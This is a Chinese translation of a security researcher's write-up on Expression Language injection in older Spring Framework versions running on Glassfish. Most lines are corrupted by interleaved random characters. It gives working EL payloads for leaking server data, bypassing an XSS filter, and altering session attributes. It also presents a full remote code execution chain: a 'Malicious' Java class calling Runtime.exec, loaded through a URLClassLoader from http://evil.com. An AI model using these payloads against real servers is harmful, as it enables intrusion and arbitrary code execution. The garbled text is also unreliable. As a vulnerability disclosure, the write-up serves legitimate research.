Remote Code with
0 d3 ]1 V2 p7 k5 c, ?Expression Language Injection: U" W: [' I6 H% a' e- X/ ]0 l/ s
Spring Framework脆弱性—DanAmodio E. K/ ~ i. n
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中, f6 P* {3 v, g2 X
可能会存在风险。/ ^5 d) O/ p/ @
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的0 R& L. O/ Q1 c/ z
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可. m; D) K/ v; ^ @! m
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,9 F" p) h8 l& q, s: \* N" R
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前1 |, L: s/ B H+ n3 c& B T5 C. r
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。' y9 L/ ]3 g, \0 z
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但, a1 Z. y& R4 U! D' G
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
3 u+ f; \! w- r本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
' z ]+ S" ^3 e! P这些版本不支持禁用double EL resolution.) ~7 {4 A/ Z9 W/ J2 k7 [
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含& T9 ]5 h& Q5 D' f& F
EL2.2容器上可能进行远程代码执行。
5 s5 W, A5 [6 z+ d' f$ G# Y这是一个原始信息泄露的攻击例子:
: y ~. \$ E8 N7 _请求:
- Q" {; X/ y1 f) @ttp://vulnerable.com/foo?message=${applicationScope}( C7 Y. u7 q4 z7 i) ^
到达以下内容页面:2 H+ H; b1 N- D ^4 R& K6 d
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
7 M \0 V4 F% g你也可以做一些其他事情,如这样:
+ Q1 Y7 h9 z9 w& r. O9 y l${9999+1}' g. i' M$ M/ e
还可以访问session 对象和beans
[5 }7 \% l' l8 A1 c- m${employee.lastName}. f3 L3 K+ i, G# ? o/ P
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
& w& T3 c0 ]5 i% bEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
/ i% x: L4 j1 I$ B9 k" |1 [7 `西,比如XSS.
" ~# y+ |; n/ x' z哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签7 ]; q. V) s, Q! e* F. o
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤8 s$ ?7 X' P2 s3 i+ m) ]* Q
呢?”
5 w0 }& L' |2 b% }0 [因此,我尝试巳缦拢�
E% g. D( I5 o/ hhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP; H6 @6 a8 n2 Q4 R& i
P
1 N9 }% R; V% u6 s( C$ L/ ]我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返5 f' ^( s2 b3 g7 N: P
回的文本被插入进了spring:message 标签。
/ P! Q* u8 B* |# L4 m% [这里是一个最终绕过过滤的实例:$ g$ f# R; v7 a* L8 \- b" o
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ
: L+ h6 ]5 b: P( Q它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
/ c# h( H4 ?! e% `# e" a, y; X什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
+ L3 Q: y8 ?" H3 s: l* _经过一番研究,我学习到EL2.2 增加了方法调用。0 [+ Y4 U0 v7 z- ]; H
我写了一个快速测试应用程序代码并且检测一些功能& W" w4 x/ Z# B @
${pageContext.request.getSession().setAttribute(“account”,”123456″)}0 E. U/ `1 r0 r/ h& ~1 s
${pageContext.request.getSession().setAttribute(“admin”,true)}
4 [* J: x l4 [" I9 g: L: D好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的- _/ l ?% _6 p. z
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?8 G; |+ R2 e q1 j2 z4 u
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
# O% Y: f# U) `7 ~4 _7 j“, 1234)}
0 @7 S, Z+ m) U${“”.getClass().forName(“java.lang.Runtime”)}
4 b% [' Z' U. ]& N: u* Q哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
! ~; k3 M6 p1 m2 S' n可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
5 m/ D4 f) W% R3 J( T% o9 ?数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有; ], J$ O8 @6 z: O6 y
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
2 o5 a" b) m' m% u方法签名invoke(Object obj, Object„ args)
2 g6 `" R% \7 _$ U, E( K; ^Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问! [3 L- a x+ e, C
题,以让它可以工作起来。
& `0 M6 h! B* f1 t漏洞利用:
7 Q. _: }6 K! J9 n6 C我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我3 `& j7 i+ x" ^+ g5 c8 w4 Z# [
希望你们中的一些JAVA奇才告诉我我是如此的可笑。6 ]& i( W0 h& l4 ?
这里有一些我试过的失败的用例,为了试图让它工作的用例:6 e x$ }& V5 x( ~7 ^( E
写文件到文件系统* g# x! I8 A6 Z) O2 X0 q8 y
试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
3 a& Q1 t, K. l2 N! ^; Z( U: U, G我认为这些可以很好的工作,但是我不能找到合适的类来载入。
- }7 m4 ]! ]% g4 d${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
6 ~. S( F# F# e+ `7 l: l& Sjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:6 I8 l; I- C) W+ \( S6 T( c* P1 V
org.springframework.expression.spel.standard.SpelExpressionParser not found
7 k% S9 K( [8 P& E0 o6 a1 s8 Hby+ j- H* R" ^/ u M
org.glassfish.web.javax.servlet.jsp [194].
" ^ u/ B, u+ T9 L3 s8 t2 I- g 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
/ L2 G' t* J5 `6 |- L4 g# A 利用反射来创建一个新的Runtime(and watch the world burn)0 w% W$ h/ C# R! ~
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
- \& \+ w+ e5 [! u8 w(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
3 }, n0 d u2 }' j0 V) h8 L+ h${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}8 ~" B' J, h2 V8 Y- a
使用java.lang.ProcessBuilder
6 C# v+ o; z4 b9 @9 B6 S 用表达式语言来评估表达式语言" N% |+ W2 H5 X1 {3 l
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
" J- ?* ~% {0 `) K${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request+ \ h! g3 e% M* W+ Q- X
“,”".getClass(),null)}4 |( {: ?/ \4 R/ c0 }: D
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)4 c) ~0 u/ U; ]$ q. p
我在使用一个空数组通过Method.invoke()时失败了很多次. X {3 S$ ?" q# M7 U0 W/ I3 o- m+ N9 Z- A
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo7 {- G [; L+ V$ x# h
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
* V6 V) A9 }% l2 {# r! j& e& NrrayList”).newInstance().toArray())
( n, T* f q% U3 q! k2 mjava.lang.IllegalArgumentException: wrong number of arguments
8 {3 N( @. N& w! ]最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
2 t* z1 A; l7 C' u2 m以创建一个恶意class文件并且指向类装载器.$ [% [4 L5 Z; A9 g1 }7 J) h% k
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:: G$ c) R% v2 v( E& z' u- P
public class Malicious {
, m) U. ]4 l5 p8 _: j2 r1 [public Malicious() {6 c0 M2 B J: @& T" B; O
try {
3 M( T+ u$ W, U* bjava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
+ n) h, q9 n9 C9 Z3 s) ^4 M/ Bjava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
q$ N: y ~" N} catch (Exception e) {% S1 u4 W8 [3 C0 W' c* H
}
?/ A0 X9 B, v* S: ]! `9 s. B' U}
: K) t6 \6 X1 r% a5 z我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
; S3 M# V( u* p% ?/ A: {! f& h话中,因此它可以被使用.
8 D5 F) ^1 J/ \. l${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName+ m4 L$ x+ k. g7 R; S" R
(“java.util.ArrayList”).newInstance())}- h9 J. { `7 Q1 q5 U$ [* q
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
+ P+ t b% {# m# G( m一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和* b* u- v4 ^4 y0 Y. U
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个4 e, [" q3 E9 H. } j5 `$ g
我们可以调用的create(string)方法,然后转换对一个URL对象。
7 \/ X' Q/ a# |; i${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
/ O0 R# D: u+ Were/malicious/classfile/is/located/”).toURL())}
1 a# _" J! b* U/ H+ m然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,1 R% N9 I) K# H F
恶意类文件被装载并创建,触发远程代码.' S' J5 I- ]: P
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte0 S9 s3 I( s7 ^9 b
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().$ I. @7 \. q9 B) O
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
) |; W2 P% m/ s+ k& P6 G6 {()} |